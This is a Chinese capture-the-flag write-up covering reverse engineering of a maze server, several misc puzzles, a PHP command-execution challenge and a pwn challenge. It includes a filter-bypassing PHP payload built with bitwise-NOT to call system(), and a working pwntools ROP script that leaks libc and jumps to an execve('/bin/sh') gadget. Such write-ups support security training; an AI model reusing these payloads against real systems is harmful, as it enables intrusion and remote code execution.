内部赛-2022第二届网络安全攻防大赛个人赛决赛 WriteUp.

Re

ezAlgorithm

题目给了两个pyc文件。

vshell.cpython-38.pyc
chal.cpython-38.pyc

用uncompyle和pycdc还原效果不一样。可以看字节码再手动还原关键代码。下面给出最终还原结果及注释。

chal分析可知起点第一列,终点最后一列。

import queue, random

class chal:

    def __init__(self, size):
        self.size = size
        # 2n+1 * 2n+1 迷宫
        self.buffer = [[0 for i in range(size * 2 + 1)] for i in range(size * 2 + 1)]
        self.sP = None
        self.eP = None
        # 2n+1 索引 的 2n+1 索引列 为1
        for i in range(size):
            for j in range(size):
                self.buffer[(i * 2 + 1)][j * 2 + 1] = 1

    def read(self, x, y, direction=4):
        try:
            if direction == 4:
                return self.buffer[(x * 2 + 1)][(y * 2 + 1)]  # 右1下1
            if direction == 0:
                return self.buffer[(x * 2)][(y * 2 + 1)] # 下1
            if direction == 1:
                return self.buffer[(x * 2 + 2)][(y * 2 + 1)] # 右2下1
            if direction == 2:
                return self.buffer[(x * 2 + 1)][(y * 2)] # 右1
            if direction == 3:
                return self.buffer[(x * 2 + 1)][(y * 2 + 2)] # 右1下2
        except IndexError:
            return 0

    def write(self, x, y, val, direction=4):
        if direction == 4:
            self.buffer[(x * 2 + 1)][y * 2 + 1] = val
        elif direction == 0: # 下1
            self.buffer[(x * 2)][y * 2 + 1] = val
        elif direction == 1: # 右2下1
            self.buffer[(x * 2 + 2)][y * 2 + 1] = val
        elif direction == 2:  # 右1
            self.buffer[(x * 2 + 1)][y * 2] = val
        elif direction == 3:  # 右1下2
            self.buffer[(x * 2 + 1)][y * 2 + 2] = val

    def mapping(self):
        sBuffer = queue.LifoQueue()
        sP = (random.randint(0, self.size - 1), 0)
        eP = (random.randint(0, self.size - 1), self.size - 1)
        self.write(sP[0], sP[1], 2, 2)  # 初始化起点
        self.write(eP[0], eP[1], 2, 3)  # 初始化终点
        # print(self.buffer)

        cP = eP
        sBuffer.put(eP)
        while True:
            # 循环判断可以走的方向,如果可以走远随机走一个方向
            # 将 cP 从 eP 终点开始随机走,同时改变迷宫
            nD = []
            tP = False
            bP = False
            lP = False
            rP = False
            if cP[0] == 0:
                tP = True
            if cP[1] == 0:
                lP = True
            if cP[0] == self.size - 1:
                bP = True
            if cP[1] == self.size - 1:
                rP = True
            if not tP and self.read(cP[0] - 1, cP[1]) == 1: # 可向上走 0放入nD
                nD.append(0)
            if not bP and self.read(cP[0] + 1, cP[1]) == 1: # 可向下走 1放入nD
                nD.append(1)
            if not lP and self.read(cP[0], cP[1] - 1) == 1: # 可向左走 2放入nD
                nD.append(2)
            if not rP and self.read(cP[0], cP[1] + 1) == 1: # 可向右走 3放入nD
                nD.append(3)
            if len(nD) != 0:  # 如果有可以走的方向
                direction = random.choice(nD)  # 随机选择一个方向
                if direction == 0:
                    self.write(cP[0], cP[1], 2, 0)
                    cP = (cP[0] - 1, cP[1])
                    self.write(cP[0], cP[1], 2)
                elif direction == 1:
                    self.write(cP[0], cP[1], 2, 1)
                    cP = (cP[0] + 1, cP[1])
                    self.write(cP[0], cP[1], 2)
                elif direction == 2:
                    self.write(cP[0], cP[1], 2, 2)
                    cP = (cP[0], cP[1] - 1)
                    self.write(cP[0], cP[1], 2)
                elif direction == 3:
                    self.write(cP[0], cP[1], 2, 3)
                    cP = (cP[0], cP[1] + 1)
                    self.write(cP[0], cP[1], 2)
                sBuffer.put(cP)
            else:
                try:
                    cP = sBuffer.get_nowait()
                except queue.Empty:
                    break
                except:
                    pass

            self.sP = sP
            self.eP = eP
            continue
        # start = (sP[0] * 2 + 1, 0) # 起点位置 见play 
        # target = (eP[0] * 2 + 1, self.size * 2)


    def play(self, _input):
        cP = (self.sP[0] * 2 + 1, 0) # 起点位置 
        for ch in _input:
            if ch == 'm':  # move up
                cP = (cP[0] - 1, cP[1])
            elif ch == 'q':  # move down
                cP = (cP[0] + 1, cP[1])
            elif ch == 'd':  # move left
                cP = (cP[0], cP[1] - 1)
            elif ch == 'y':  # move right
                cP = (cP[0], cP[1] + 1)
            if self.buffer[cP[0]][cP[1]] == 0:  # 不能走0的位置
                return False
            if cP == (self.eP[0] * 2 + 1, self.size * 2):  # 终点位置
                return True
        return False

vshell还原

from chal import *
import time, random, socket
from _thread import start_new_thread

flag = 'flag{假的}'


def clientmain(conn):
    conn.send(b'Press Enter to get started.')
    conn.recv(1000)
    bWin = False
    for counti in range(10):
        startTime = time.time()
        # _chal = chal(random.randint(10, 30))
        _chal = chal(10)
        _chal.mapping()
        for i in _chal.buffer:
            for j in i:
                if j == 0:
                    conn.send(b'?')
                else:
                    conn.send(b'!')

        else:
            conn.send(b'\nSolution: ')
        if not _chal.play(conn.recv(1000).decode()):
            conn.send(b'Next Time.')
            break
        else:
            endTime = time.time()
            # if endTime - startTime > 3:
            #     conn.send(b'Too long.\n')
            #     break
        if counti == 9:
            bWin = True
    if bWin:
        conn.send(f"You passed! The flag is {flag}".encode())
    else:
        conn.send(b'Try again.')
    conn.close()


if __name__ == '__main__':
    s = socket.socket()
    s.bind(('0.0.0.0', 1145))
    s.listen()
    try:
        ThreadCount = 0
        while True:
            Client, address = s.accept()
            print('Connected to: ' + address[0] + ':' + str(address[1]))
            start_new_thread(clientmain, (Client,))
            ThreadCount += 1
            print('Thread Number: ' + str(ThreadCount))

    except KeyboardInterrupt:
        s.close()
        exit(0)
    except Exception as e:
        try:
            s.close()
            raise e
        finally:
            e = None
            del e

全部分析了,发现没有分析的必要,可以看字符猜起点,终点位置。pyc中找到上下左右即可以,不需要过多的分析。

直接DFS算法解题。

迷宫玩法:从左边的!为起点,走到右边的!
方向: m上 q下 d左 y右

reverse_maze2.py

# reverse_maze2.py
from typing import List

f = []

UNMOVABLE = 0  # 墙为0


class Solution:

    def set_maze(self, board, start, target):
        # 将 start, target 在 board 中 重置为可移动
        board[start[0]][start[1]] = UNMOVABLE + 1
        board[target[0]][target[1]] = UNMOVABLE + 1

    def exist(self, board: List[List], target: [int, int], start: [int, int] = [0, 0]) -> bool:
        self.set_maze(board, start, target)
        end_r, end_c = target
        rs, cs = start  # row start, column start
        row = len(board)
        col = len(board[0])
        lst = []

        def search(i, j, cur):
            if i >= row or i < 0:
                return False
            if j >= col or j < 0:
                return False
            letter = board[i][j]

            if letter == UNMOVABLE or letter == None:
                return False
            if i == end_r and j == end_c:  # 找到最后一个
                lst.append([i, j])
                print(lst)
                f.extend(lst)
                return True

            lst.append([i, j])
            board[i][j] = None

            ret = search(i + 1, j, cur + 1) or \
                  search(i - 1, j, cur + 1) or \
                  search(i, j + 1, cur + 1) or \
                  search(i, j - 1, cur + 1)
            # 取消标记 回撤一步
            board[i][j] = letter
            lst.pop()
            return ret

        for i in range(row):
            for j in range(col):
                ret = search(i + rs, j + cs, 0)
                if ret:
                    return True
        print(lst)
        return False


def get_direction(board: List[List[int]]):
    res = ''
    for i in range(len(board) - 1):
        a, b = board[i], board[i + 1]
        r1, c1 = a
        r2, c2 = b
        if r2 - r1 == 1:
            res += 'q'  # line down
        elif r2 - r1 == -1:
            res += 'm'  # line up
        elif c2 - c1 == 1:
            res += 'y'  # right
        elif c2 - c1 == -1:
            res += 'd'  # left
        else:
            print(f'error {i}, {res}')
            res = ''
    return res


def find_start(maze):
    for i in range(len(maze)):
        if maze[i][0] == 1:
            return [i, 0]


def find_end(maze):
    for i in range(len(maze)):
        if maze[i][len(maze) - 1] == 1:
            return [i, len(maze) - 1]


def resolve(maze, target, start):
    global f
    f = []
    a = Solution()
    a.exist(maze, target, start)
    # print(f)
    direction = get_direction(f)
    print(direction)
    return direction


def print_maze(maze):
    for row in maze:
        print(''.join(str(x) for x in row))


def convert_10_maze(txt):
    if isinstance(txt, bytes):
        txt = txt.decode()
    maze_str = txt.replace('?', '0').replace('!', '1')
    n = int(len(maze_str) ** 0.5)

    # 将字符串切割成10个字符的列表
    rows = [maze_str[i:i + n] for i in range(0, len(maze_str), n)]

    # 将每个字符转换为整数,并创建10x10数组
    array = [[int(char) for char in row] for row in rows]

    return array

使用pwntools连续回答问题。

main.py

# main.py
from pwn import *

from reverse_maze2 import resolve, find_start, find_end, print_maze, convert_10_maze

sh = remote('39.106.48.123', 25036)
'''
Press Enter to get started.
??????????????????????!!!?!!!!!?!!!?!!!!!??!???!?!?!?!?!???!?!??!?!!!?!?!!!?!!!?!?!??!?!???!???????!?!?!??!?!!!?!!!!!!!?!!!?!??!???!???????!?????!??!!!!!?!?!!!!!?!!!?!??!?????!?!?!???!?!????!!!!!?!?!?!?!!!?!!!!?????!?!?!???!?????!??!!!?!!!?!!!!!?!!!?!??!?!???!???????!?!????!?!!!?!?!!!!!!!?!!!??!?!???!?!???!?????!?!!?!?!!!?!?!!!?!!!?!??!?!?!?????!???!???!??!?!?!?!!!?!!!?!!!!!??!???!?!?!???!?!??????!!!!!!!?!!!!!?!!!!!??????????????????????
Solution:
'''
sh.recvuntil(b'get started.')
sh.sendline()
for i in range(10):
    r = sh.recvuntil(b'\nSolution: ', drop=True)
    maze = convert_10_maze(r)
    print_maze(maze)

    start = find_start(maze)
    end = find_end(maze)
    direction = resolve(maze, end, start)
    if not direction:
        raise Exception('not found')
    sh.sendline(direction.encode())
sh.interactive()

Misc

Checkin

Cyberchef 自动。

Morse

A替换 - B替换. 或者换一下
Cyberchef 解码。

华强

二张图片, 一个用Stegsolve有二维码。扫描,解码。文件1
另一张文件末尾有内容。base64解得到文件2.

有一个人前来买瓜
哥们儿这瓜多少钱一斤啊两块钱一斤
这瓜皮是金子做的还是瓜粒子是金子做的
你瞧瞧现在哪儿有瓜呀这都是大棚的瓜
你嫌贵我还嫌贵呢
这瓜保熟吗
我开水果摊的能卖给你生瓜蛋子
我问你这瓜熟吗
你是故意找茬儿是不是你要不要吧
你这瓜要熟我肯定要啊
十五斤30块
你这哪够十五斤啊你这秤有问题
吸铁石
另外你说的这瓜要是生的你自己吞进去
你他妈劈我瓜是不是
萨日朗

文件1都是文件2的内容。短的是码表。
看了一下01二进制不太像。正好16行试下16进制码表替换。

d = {
    "有一个人前来买瓜": 0,
    "哥们儿这瓜多少钱一斤啊两块钱一斤": 1,
    "这瓜皮是金子做的还是瓜粒子是金子做的": 2,
    "你瞧瞧现在哪儿有瓜呀这都是大棚的瓜": 3,
    "你嫌贵我还嫌贵呢": 4,
    "这瓜保熟吗": 5,
    "我开水果摊的能卖给你生瓜蛋子": 6,
    "我问你这瓜熟吗": 7,
    "你是故意找茬儿是不是你要不要吧": 8,
    "你这瓜要熟我肯定要啊": 9,
    "十五斤30块": 10,
    "你这哪够十五斤啊你这秤有问题": 11,
    "吸铁石": 12,
    "另外你说的这瓜要是生的你自己吞进去": 13,
    "你他妈劈我瓜是不是": 14,
    "萨日朗": 15,
}
f =open('f4', 'r', encoding='utf8').read()
for line in f.splitlines():
    if d[line]==None:
        print('error', line)
    print(f'{d[line]:x}', end='')
# 637466e98089e6898be58898e58d8ee5bcbae79a84464c41473a666c61677b65636535396561352d333038352d346465642d626437322d3439663663396539343561387d

解码得到flag.

外太空的秘密

python排列组合 。

from itertools import product
 
a = list('ACGTRNDEG')
 
f = open('ff.txt', 'w')
for i, x in enumerate(product(a, repeat=len(a))):
    print(i, x)
    res = f'{i+1}, ' +  ''.join(x) + '\n' # 注意i+1
    f.write(res)
    f.flush()

直接照题目填上得flag

web

ezrce

git 泄露。

得到 1ndex.php 。 str参数。。
搜索到相似目。fuzz后尝试反码获取。

echo urlencode(~"ls ../ -la");
${(~%8C%86%8C%8B%9A%92)(~%93%8C)}

左边system 函数名 右边payload。最后找到
flag就在 ../ 目录,挺长一串。 cat ../flllgggggg

pwn

ezrop

简单的栈迁移

from pwn import *

txt = "39.106.48.123 22103"
host, port = txt.split(' ')
s = remote(host, port)
# s = process('./ezrop')
context(log_level='debug', arch='amd64', os='linux')

elf = ELF('./ezrop')
write_1_s_30 = 0x00000004007BE
read = elf.got['read'] + 0x30
payload = flat('a' * 0x30, read, write_1_s_30)
s.recv()
s.send(payload)

leak = u64(s.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("libc-2.27.so")
libc.address = leak - libc.sym["read"]
success('read:' + hex(leak))
success('libc:' + hex(libc.address))
ogg = libc.address + 0x4527a  # 本地libc
ogg = libc.address + 0x4f302
"""
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
payload = flat(b'a' * 0x30, 0, ogg)
s.send(payload)

s.interactive()
posted @ 2022-04-18 22:31  wgf4242  阅读(524)  评论(0编辑  收藏  举报